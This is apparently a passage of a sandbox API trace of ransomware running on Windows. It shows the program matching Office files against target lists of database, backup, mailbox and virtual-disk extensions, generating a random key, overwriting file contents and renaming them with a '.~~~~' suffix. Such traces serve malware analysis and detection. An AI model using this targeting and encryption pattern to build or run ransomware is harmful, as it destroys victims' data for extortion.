	[0142.682] lstrlenW (lpString=".SDF") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".SDF") returned 0x0
	[0142.682] lstrlenW (lpString=".dtxs") returned 5
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.682] lstrlenW (lpString=".db3") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".db3") returned 0x0
	[0142.682] lstrlenW (lpString=".OST") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".OST") returned 0x0
	[0142.682] lstrlenW (lpString=".dbx") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dbx") returned 0x0
	[0142.682] lstrlenW (lpString=".DB3") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DB3") returned 0x0
	[0142.682] lstrlenW (lpString=".DAT") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DAT") returned 0x0
	[0142.682] lstrlenW (lpString=".VHDX") returned 5
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.682] lstrlenW (lpString=".ndf") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".ndf") returned 0x0
	[0142.682] lstrlenW (lpString=".DB") returned 3
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DB") returned 0x0
	[0142.682] lstrlenW (lpString=".sql") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".sql") returned 0x0
	[0142.682] lstrlenW (lpString=".MYD") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".MYD") returned 0x0
	[0142.682] lstrlenW (lpString=".DBT") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DBT") returned 0x0
	[0142.683] lstrlenW (lpString=".ACCDB") returned 6
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.683] lstrlenW (lpString=".fdb") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".fdb") returned 0x0
	[0142.683] lstrlenW (lpString=".bak") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".bak") returned 0x0
	[0142.683] lstrlenW (lpString=".myd") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".myd") returned 0x0
	[0142.683] lstrlenW (lpString=".DTXS") returned 5
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.683] lstrlenW (lpString=".ckp") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".ckp") returned 0x0
	[0142.683] lstrlenW (lpString=".dbt") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dbt") returned 0x0
	[0142.683] lstrlenW (lpString=".db") returned 3
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".db") returned 0x0
	[0142.683] lstrlenW (lpString=".TXT") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".TXT") returned 0x0
	[0142.683] lstrlenW (lpString=".MDF") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".MDF") returned 0x0
	[0142.683] lstrlenW (lpString=".bdb") returned 4
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".bdb") returned 0x0
	[0142.683] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.684] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.685] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.685] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.685] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26267520153) returned 1
	[0142.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe72bab0, dwHighDateTime=0x1d60e1e)) 
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe638
	[0142.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe638 | out: hHeap=0x300000) returned 1
	[0142.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa1d0
	[0142.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa1d0 | out: hHeap=0x300000) returned 1
	[0142.791] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.791] GetLastError () returned 0x0
	[0142.809] GetLastError () returned 0x0
	[0142.809] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.809] GetLastError () returned 0x0
	[0142.810] GetLastError () returned 0x0
	[0142.810] ReadFile (in: hFile=0x114, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0xc49, lpOverlapped=0x0) returned 1
	[0142.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff3b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.812] WriteFile (in: hFile=0x114, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0xc49, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0xc49, lpOverlapped=0x0) returned 1
	[0142.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.813] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.813] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.813] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.813] CloseHandle (hObject=0x114) returned 1
	[0142.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa5c0
	[0142.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif.~~~~")) returned 1
	[0142.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa5c0 | out: hHeap=0x300000) returned 1
	[0142.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.816] GetLastError () returned 0x0
	[0142.816] RtlWakeConditionVariable () returned 0x0
	[0142.816] GetCurrentThreadId () returned 0xaf0
	[0142.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".scr") returned 0x0
	[0142.816] lstrlenW (lpString=".cmd") returned 4
	[0142.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".cmd") returned 0x0
	[0142.816] lstrlenW (lpString=".dll") returned 4
	[0142.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dll") returned 0x0
	[0142.816] lstrlenW (lpString=".bat") returned 4
	[0142.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".bat") returned 0x0
	[0142.816] lstrlenW (lpString=".cpl") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".cpl") returned 0x0
	[0142.817] lstrlenW (lpString=".sys") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".sys") returned 0x0
	[0142.817] lstrlenW (lpString=".msc") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".msc") returned 0x0
	[0142.817] lstrlenW (lpString=".com") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".com") returned 0x0
	[0142.817] lstrlenW (lpString=".lnk") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".lnk") returned 0x0
	[0142.817] lstrlenW (lpString=".msp") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".msp") returned 0x0
	[0142.817] lstrlenW (lpString=".pif") returned 4
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".pif") returned 0x0
	[0142.817] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.819] lstrlenW (lpString=".sqb") returned 4
	[0142.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".sqb") returned 0x0
	[0142.819] lstrlenW (lpString=".ost") returned 4
	[0142.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".ost") returned 0x0
	[0142.819] lstrlenW (lpString=".txt") returned 4
	[0142.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".txt") returned 0x0
	[0142.819] lstrlenW (lpString=".mdt") returned 4
	[0142.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".mdt") returned 0x0
	[0142.819] lstrlenW (lpString=".BDB") returned 4
	[0142.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".BDB") returned 0x0
	[0142.820] lstrlenW (lpString=".eql") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".eql") returned 0x0
	[0142.820] lstrlenW (lpString=".DBF") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DBF") returned 0x0
	[0142.820] lstrlenW (lpString=".EQL") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".EQL") returned 0x0
	[0142.820] lstrlenW (lpString=".FDB") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".FDB") returned 0x0
	[0142.820] lstrlenW (lpString=".EDB") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".EDB") returned 0x0
	[0142.820] lstrlenW (lpString=".DACPAC") returned 7
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.820] lstrlenW (lpString=".VHD") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".VHD") returned 0x0
	[0142.820] lstrlenW (lpString=".DBV") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DBV") returned 0x0
	[0142.820] lstrlenW (lpString=".dacpac") returned 7
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.820] lstrlenW (lpString=".sdf") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".sdf") returned 0x0
	[0142.820] lstrlenW (lpString=".accdb") returned 6
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".accdb") returned 0x0
	[0142.820] lstrlenW (lpString=".DBX") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DBX") returned 0x0
	[0142.820] lstrlenW (lpString=".MDT") returned 4
	[0142.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".MDT") returned 0x0
	[0142.820] lstrlenW (lpString=".SQB") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".SQB") returned 0x0
	[0142.821] lstrlenW (lpString=".vhd") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".vhd") returned 0x0
	[0142.821] lstrlenW (lpString=".bac") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".bac") returned 0x0
	[0142.821] lstrlenW (lpString=".mdf") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".mdf") returned 0x0
	[0142.821] lstrlenW (lpString=".BAK") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".BAK") returned 0x0
	[0142.821] lstrlenW (lpString=".BAC") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".BAC") returned 0x0
	[0142.821] lstrlenW (lpString=".dbs") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dbs") returned 0x0
	[0142.821] lstrlenW (lpString=".vhdx") returned 5
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.821] lstrlenW (lpString=".NDF") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".NDF") returned 0x0
	[0142.821] lstrlenW (lpString=".dat") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dat") returned 0x0
	[0142.821] lstrlenW (lpString=".DBS") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DBS") returned 0x0
	[0142.821] lstrlenW (lpString=".CKP") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".CKP") returned 0x0
	[0142.821] lstrlenW (lpString=".edb") returned 4
	[0142.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".edb") returned 0x0
	[0142.821] lstrlenW (lpString=".PST") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".PST") returned 0x0
	[0142.822] lstrlenW (lpString=".dbf") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dbf") returned 0x0
	[0142.822] lstrlenW (lpString=".SQL") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".SQL") returned 0x0
	[0142.822] lstrlenW (lpString=".pst") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".pst") returned 0x0
	[0142.822] lstrlenW (lpString=".dbv") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dbv") returned 0x0
	[0142.822] lstrlenW (lpString=".SDF") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".SDF") returned 0x0
	[0142.822] lstrlenW (lpString=".dtxs") returned 5
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.822] lstrlenW (lpString=".db3") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".db3") returned 0x0
	[0142.822] lstrlenW (lpString=".OST") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".OST") returned 0x0
	[0142.822] lstrlenW (lpString=".dbx") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dbx") returned 0x0
	[0142.822] lstrlenW (lpString=".DB3") returned 4
	[0142.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DB3") returned 0x0
	[0142.822] lstrlenW (lpString=".DAT") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DAT") returned 0x0
	[0142.823] lstrlenW (lpString=".VHDX") returned 5
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.823] lstrlenW (lpString=".ndf") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".ndf") returned 0x0
	[0142.823] lstrlenW (lpString=".DB") returned 3
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DB") returned 0x0
	[0142.823] lstrlenW (lpString=".sql") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".sql") returned 0x0
	[0142.823] lstrlenW (lpString=".MYD") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".MYD") returned 0x0
	[0142.823] lstrlenW (lpString=".DBT") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DBT") returned 0x0
	[0142.823] lstrlenW (lpString=".ACCDB") returned 6
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.823] lstrlenW (lpString=".fdb") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".fdb") returned 0x0
	[0142.823] lstrlenW (lpString=".bak") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".bak") returned 0x0
	[0142.823] lstrlenW (lpString=".myd") returned 4
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".myd") returned 0x0
	[0142.823] lstrlenW (lpString=".DTXS") returned 5
	[0142.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.824] lstrlenW (lpString=".ckp") returned 4
